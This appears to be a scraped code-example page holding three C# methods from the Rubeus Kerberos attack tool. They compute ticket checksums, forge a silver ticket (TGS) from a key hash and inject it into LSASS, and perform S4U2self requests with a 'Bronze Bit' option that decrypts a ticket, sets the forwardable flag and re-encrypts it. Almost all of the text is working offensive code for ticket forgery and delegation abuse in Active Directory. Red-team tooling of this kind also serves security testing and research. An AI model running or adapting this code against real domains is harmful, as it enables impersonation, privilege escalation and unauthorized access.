public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType)
        {
            byte[]        ticketChecksum   = null;
            byte[]        oldWin2kPacData  = null;
            PACTYPE       oldWin2kPac      = null;
            EncTicketPart tmpEncTicketPart = this;

            // find the PAC and place a zero in it's ad-data
            List <AuthorizationData> newAuthData = new List <AuthorizationData>();

            foreach (var tmpadData in tmpEncTicketPart.authorization_data)
            {
                ADIfRelevant tmpifrelevant = new ADIfRelevant();
                foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
                {
                    if (ifrelevant is ADWin2KPac win2k_pac)
                    {
                        oldWin2kPacData = win2k_pac.ad_data;
                        oldWin2kPac     = win2k_pac.Pac;
                        ADWin2KPac tmpWin2k = new ADWin2KPac();
                        tmpWin2k.ad_data = new byte[] { 0x00 };
                        tmpWin2k.Pac     = null;
                        tmpifrelevant.ADData.Add(tmpWin2k);
                    }
                    else
                    {
                        tmpifrelevant.ADData.Add(ifrelevant);
                    }
                }
                newAuthData.Add(tmpifrelevant);
            }
            tmpEncTicketPart.authorization_data = newAuthData;

            ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType);

            foreach (var tmpadData in tmpEncTicketPart.authorization_data)
            {
                ADIfRelevant tmpifrelevant = new ADIfRelevant();
                foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
                {
                    if (ifrelevant is ADWin2KPac win2k_pac)
                    {
                        win2k_pac.ad_data = oldWin2kPacData;
                        win2k_pac.Pac     = oldWin2kPac;
                    }
                }
            }

            return(ticketChecksum);
        }
Exemple #2
0
        public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent)
        {
            // determine domain if not supplied
            string[] parts = sname.Split('/');
            if (String.IsNullOrEmpty(domain))
            {
                if ((parts.Length > 1) && (parts[0] == "krbtgt"))
                {
                    Console.WriteLine("[X] Referral TGT requires /domain to be passed.");
                    return;
                }
                else if ((parts.Length == 1) && (sname.Split('@').Length == 1))
                {
                    Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'.");
                    return;
                }
                else if (parts.Length > 1)
                {
                    domain = parts[1].Substring(parts[1].IndexOf('.') + 1);
                    string[] domainParts = domain.Split(':');
                    if (domainParts.Length > 1)
                    {
                        domain = domainParts[0];
                    }
                }
                else if (sname.Split('@').Length > 1)
                {
                    domain = sname.Split('@')[1];
                }
                else
                {
                    Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname);
                    return;
                }
            }

            // initialize some structures
            KRB_CRED    cred = new KRB_CRED();
            KrbCredInfo info = new KrbCredInfo();

            // generate a random session key
            Random random = new Random();

            byte[] randKeyBytes;
            if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                randKeyBytes = new byte[16];
                random.NextBytes(randKeyBytes);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                randKeyBytes = new byte[32];
                random.NextBytes(randKeyBytes);
            }
            else
            {
                Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
                return;
            }

            EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags);

            // get the key from keyString
            byte[] key = Helpers.StringToByteArray(keyString);

            // encrypt the EncTicketPart
            byte[] encTicketData = decTicketPart.Encode().Encode();
            byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);

            // initialize the ticket and add the enc_part
            Ticket ticket = new Ticket(domain.ToUpper(), sname);

            ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);

            // add the ticket
            cred.tickets.Add(ticket);

            // [0] add in the session key
            info.key.keytype  = (int)etype;
            info.key.keyvalue = randKeyBytes;

            // [1] prealm (domain)
            info.prealm = decTicketPart.crealm;

            // [2] pname (user)
            info.pname.name_type   = decTicketPart.cname.name_type;
            info.pname.name_string = decTicketPart.cname.name_string;

            // [3] flags
            info.flags = flags;

            // [4] authtime (not required)
            info.authtime = decTicketPart.authtime;

            // [5] starttime
            info.starttime = decTicketPart.starttime;

            // [6] endtime
            info.endtime = decTicketPart.endtime;

            // [7] renew-till
            info.renew_till = decTicketPart.renew_till;

            // [8] srealm
            info.srealm = ticket.realm;

            // [9] sname
            info.sname.name_type   = ticket.sname.name_type;
            info.sname.name_string = ticket.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            string kirbiString = Convert.ToBase64String(kirbiBytes);

            Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname);
            Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

            if (Program.wrapTickets)
            {
                // display the .kirbi base64, columns of 80 chararacters
                foreach (string line in Helpers.Split(kirbiString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
            }
            else
            {
                Console.WriteLine("      {0}", kirbiString);
            }

            Console.WriteLine("");

            if (!String.IsNullOrEmpty(outfile))
            {
                string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                filename = Helpers.MakeValidFileName(filename);
                if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                {
                    Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                }
            }

            if (ptt)
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, new LUID());
            }
        }
Exemple #3
0
        private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial)
        {
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);

            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // if we want to use this s4u2self ticket for authentication, change the sname
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    rep.ticket.sname.name_string[0] = altService.Split('/')[0];
                    rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
                }

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;
                if (bronzebit && !String.IsNullOrEmpty(keyString))
                {
                    Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
                    info.flags |= Interop.TicketFlags.forwardable;

                    // get user longterm key from keyString
                    byte[] key = Helpers.StringToByteArray(keyString);

                    // decrypt and decode ticket encpart
                    outBytes = Crypto.KerberosDecrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, rep.ticket.enc_part.cipher);
                    ae       = AsnElt.Decode(outBytes, false);
                    EncTicketPart decTicketPart = new EncTicketPart(ae.Sub[0]);

                    // modify flags
                    decTicketPart.flags |= Interop.TicketFlags.forwardable;

                    // encode and encrypt ticket encpart
                    byte[] encTicketData = decTicketPart.Encode().Encode();
                    byte[] encTicketPart = Crypto.KerberosEncrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
                    rep.ticket.enc_part = new EncryptedData((Int32)encType, encTicketPart, rep.ticket.enc_part.kvno);
                    Console.WriteLine("[*] Flags changed to: {0}", info.flags);
                }

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // if we want to use the s4u2self change the sname here too
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
                    info.sname.name_string[0] = altService.Split('/')[0];
                    info.sname.name_string.Add(altService.Split('/')[1]);
                }

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
                Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }

                Console.WriteLine("");

                if (!String.IsNullOrEmpty(outfile))
                {
                    string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                    filename = Helpers.MakeValidFileName(filename);
                    if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                    }
                }

                if (ptt && self)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                return(cred);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }